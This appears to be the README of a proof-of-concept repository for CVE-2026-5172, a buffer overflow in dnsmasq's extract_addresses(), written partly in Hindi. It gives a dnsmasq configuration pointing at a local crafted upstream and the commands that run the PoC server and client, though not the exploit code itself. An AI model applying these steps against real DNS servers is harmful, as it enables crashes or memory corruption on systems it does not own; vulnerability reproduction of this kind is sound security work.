lottiedeyan/cve20265172pocCVE-2026-5172: क्राफ्टेड रिसोर्स रिकॉर्ड पर extract_addresses() में बफर ओवरफ़्लो PoC
CVE-2026-5172: crafted resource record PoC पर extract_addresses() में buffer overflow
टोपोलॉजी यहाँ पढ़ें https://medium.com/@yanyuyingshu/reproduction-journal-dnsmasq-ecs-validation-and-buffer-overflow-flaws-e0fe0f66f60c
चरण
port=5353
listen-address=xxx.xxx.xxx.x
bind-interfaces
no-resolv
no-hosts
no-poll
cache-size=1000
log-queries
log-facility=-
server=127.0.0.1#5354
(और dnsmasq डेमॉन को रीस्टार्ट करें)
python3 server.py --host 127.0.0.1 --port 5354 --rdlen 6 –debug &
python3 client.py --dnsmasq-host xxx.xxx.xxx.x --dnsmasq-port 5353 --timeout 5.0 --count 3
